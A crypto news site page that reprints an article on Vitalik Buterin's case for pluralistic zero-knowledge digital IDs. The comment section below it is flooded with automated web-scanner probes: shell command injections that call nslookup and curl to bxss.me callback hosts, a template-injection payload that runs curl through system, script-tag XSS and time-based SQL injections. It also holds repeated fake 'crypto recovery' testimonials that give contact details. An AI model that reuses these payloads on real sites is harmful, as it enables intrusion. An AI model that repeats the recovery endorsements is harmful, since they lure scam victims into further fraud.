This site uses cookies. Browsing the site, you agree to the use of cookies. If you need more information, please visit the Cookies Policy page
Русский Русский  English English
Enter / Registration
Cryptocurrencies: 9544 / Markets: 113022
Market Cap: $ 3 741 613 272 114 / 24h Vol: $ 204 594 956 552 / BTC Dominance: 59.59388436323%

Н News

  1. Home
  2. News

Vitalik Buterin says pluralistic ZK digital IDs are the ‘best realistic solution’ to preserve privacy

Ethereum co-founder Vitalik Buterin believes that one-per-person digital ID systems, despite using zero-knowledge proofs (ZK proofs), carry risks to privacy. ZK proof wrapped IDs offered by World ID (formerly Worldcoin) using biometric data and ZK proofs have been gaining traction, recently crossing 10 million users.

Therefore, in his blog on Saturday, Buterin suggested ‘pluralistic identity’ as the “best realistic solution” to fully preserve privacy.

ZK proof wrapped IDs use ZK proofs to establish that a user has a valid ID without revealing any details of their ID, thus promising privacy. However, Buterin argued that ZK proof wrapped digital IDs still have loopholes that could compromise privacy.

ZK wrapped IDs solve ‘a lot of important problems’

Buterin concedes that “ZK-wrapping solves a lot of important problems.” Apart from ZKIDs, all options to authenticate a user’s identity on any application require the user to reveal their entire legal ID. According to Buterin:

“This is a gross violation of the common computer-security principle of least privilege: a process should only get the least authority and information required to accomplish its task.”

For instance, if an app requires a user to prove their age, the application should not be able to access any other data in the legal ID. Therefore, ZKIDs provide a crucial and previously unavailable avenue to preserving privacy, Buterin said.

Risks associated with ZK proof wrapped IDs

The designs of current ZK-identity platforms come with constraints—they allow users to create only one ID for each application. Firstly, the one-per-person ID limit means that ZK IDs do not guarantee pseudonymity, Buterin said. He explained:

“In the real world, pseudonymity generally requires having multiple accounts: one for your “regular identity” and others for any pseudonymous identities.”

Teenagers and many others already practice having multiple accounts, calling them fake and real Instagram accounts. Buterin wrote:

“…under one-per-person ID, even if ZK-wrapped, we risk coming closer to a world where all of your activity must de facto be under a single public identity.”

The single ID constraint for each application means that the “practical level of pseudonimity” offered by ZK wrapped IDs is lower. This is because, currently, services like Google accounts allow users to create up to five accounts.

Secondly, users can be coerced by governments or companies to reveal their identities on one or more applications, thus nullifying privacy preservation. For instance, an employer can ask a potential recruit to reveal their full ID on one or more social media platforms as a condition of employment.

Therefore, Buterin said that ZK does not “eliminate the possibility” that a person’s identity could be revealed under coercion.

Lastly, ZK proof wrapped IDs also come with non-privacy risks like errors.

In extraordinary or edge cases, all forms of IDs often fall short. For instance, biometric IDs may not work for users whose features have been damaged or warped by injury. Biometric IDs could also be potentially spoofed by replicas. Additionally, government IDs do not include stateless persons or those who have yet to acquire such documents. Therefore, Buterin wrote:

“These edge cases are most harmful in the case of systems that try to maintain a one-per-person property, and they have nothing to do with privacy; hence, ZK does not help.”

Pluralistic identities are the solution, Buterin said

Buterin defined pluralistic identity as “an identity regime where this is no single dominant issuing authority, whether that’s a person, or an institution, or a platform.” According to Buterin, pluralistic IDs can be explicit or implicit.

In explicit pluralistic identity or ‘social-graph-based identity,’ a user has to prove a certain feature, like their age, or that they’re human, through attestations from others in the community, who are also each verified through the same process. Explicit pluralistic ID systems can allow users to have one or more pseudonyms, with each pseudonym having its own online presence and history, Buterin claimed.

On the other hand, in an implicit pluralistic identity system, a user can provide any ID—government IDs or social media IDs—for verification. According to Buterin, implicit pluralistic identity systems reduce the possibility of a user being coerced to reveal their entire identity.

Furthermore, pluralistic ID systems are “naturally more error tolerant,” allowing people who are generally excluded, like those without the right documents, to prove their identities.

Buterin warned, however, that these benefits disappear and the system effectively turns into a one-per-person ID system when “any one form of ID gets close to 100% market share, and it becomes realistic to demand it as a sole login option.”

The post Vitalik Buterin says pluralistic ZK digital IDs are the ‘best realistic solution’ to preserve privacy appeared first on CryptoSlate.

Source

Tags

Ethereum

Category

News

Date

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

To join the Chat, you need a free pro-blockchain.com account. Enter Registration

Similar news

Финансовые рынки от TradingView
Have questions?
We're available 24/7
Support 24/7 Help Icon
Manager Online Help Icon
Help Icon